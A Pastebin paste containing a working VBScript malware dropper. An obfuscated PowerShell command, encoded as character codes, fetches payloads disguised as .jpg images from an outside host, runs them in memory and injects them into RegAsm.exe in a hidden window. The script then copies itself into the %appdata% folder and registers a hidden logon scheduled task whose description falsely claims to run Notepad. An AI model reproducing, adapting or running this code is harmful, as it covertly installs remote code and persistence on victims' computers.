Advertisement
MestreQueda

Untitled

Jun 27th, 2019
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.21 KB | None | 0 0
  1. Set Moha = CreateObject("WScript.Shell")
  2. f="$Mo=@(91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,119,119,119,46,109,57,99,46,110,101,116,47,117,112,108,111,97,100,115,47,49,53,54,49,54,56,53,51,56,55,49,46,106,112,103,39,41,124,73,69,88,59,91,66,121,116,101,91,93,93,36,102,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,119,119,119,46,109,57,99,46,110,101,116,47,117,112,108,111,97,100,115,47,49,53,54,49,54,56,54,51,49,53,49,46,106,112,103,39,41,46,114,101,112,108,97,99,101,40,39,37,57,39,44,39,48,120,39,41,124,73,69,88,59,91,107,46,72,97,99,107,105,116,117,112,93,58,58,101,120,101,40,39,82,101,103,65,115,109,46,101,120,101,39,44,36,102,41);[System.Text.Encoding]::ASCII.GetString($Mo)|IEX"
  3. strCommand = "Powershell.exe"+ space(1) + f
  4. Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  5. Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  6. Set objConfig = objStartup.SpawnInstance_
  7. objConfig.ShowWindow = 0
  8. Set objProcess = objWMIService.Get("Win32_Process")
  9. intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
  10. set fso0 = CreateObject("Scripting.FileSystemObject")
  11. CurrentDirectory = Moha.CurrentDirectory
  12. sname= wsh.scriptname
  13. startupfolder=Moha.ExpandEnvironmentStrings("%appdata%")
  14. F=Moha.ExpandEnvironmentStrings("%appdata%")+ "\" + sname
  15. task(F)
  16. if CurrentDirectory = startupfolder Then
  17.  
  18. WScript.Quit()
  19. else
  20.  
  21. mnb()
  22. End if
  23.  
  24. sub mnb()
  25.  
  26.  
  27. If (fso0.FileExists(CurrentDirectory+ "\"+ sname)) Then
  28. sSourceFile = CurrentDirectory+ "\"+ sname
  29.  
  30. sCmd = "%comspec% /c copy """ & sSourceFile & """ """ & startupfolder & """ /Y"
  31. Moha.Run sCmd,0
  32.  
  33. WScript.Quit()
  34. Else
  35. WScript.Quit()
  36. End If
  37.  
  38. End sub
  39.  
  40. sub task(PATH)
  41.  
  42. dim strUser
  43. strUser = CreateObject("WScript.Network").UserName
  44. Dim service
  45. Set service = CreateObject( "Schedule.Service" )
  46. call service.Connect()
  47. Dim rootFolder
  48. Set rootFolder = service.GetFolder("\")
  49. Dim taskDefinition
  50. Set taskDefinition = service.NewTask(0)
  51. ' taskDefinition.principal.LogonType = 3
  52. Dim regInfo
  53. Set regInfo = taskDefinition.RegistrationInfo
  54. regInfo.Description = "Task will execute Notepad when a " & _
  55. "specified user logs on."
  56. regInfo.Author = "Author Name"
  57. Dim settings
  58. Set settings = taskDefinition.Settings
  59. settings.Enabled = True
  60. settings.StartWhenAvailable = True
  61. settings.Hidden = True
  62. settings.DisallowStartIfOnBatteries = False
  63.  
  64. const TriggerTypeLogon = 9
  65. Dim triggers
  66. Set triggers = taskDefinition.Triggers
  67. Dim trigger
  68. Set trigger = triggers.Create(TriggerTypeLogon)
  69. Dim startTime, endTime
  70. startTime = "2006-05-02T10:49:02"
  71. endTime = "2046-05-02T10:52:02"
  72. trigger.Id = "LogonTriggerId"
  73. trigger.UserId = strUser
  74. trigger.StartBoundary = startTime
  75. trigger.EndBoundary = endTime
  76. trigger.Enabled = True
  77. const ActionTypeExecutable = 0
  78. Dim Action
  79. Set Action = taskDefinition.Actions.Create( ActionTypeExecutable )
  80. Action.Path = PATH
  81. const createOrUpdateTask = 6
  82. call rootFolder.RegisterTaskDefinition( _
  83. "Test Logon Trigger", taskDefinition, createOrUpdateTask, _
  84. , , 3)
  85.  
  86. End sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement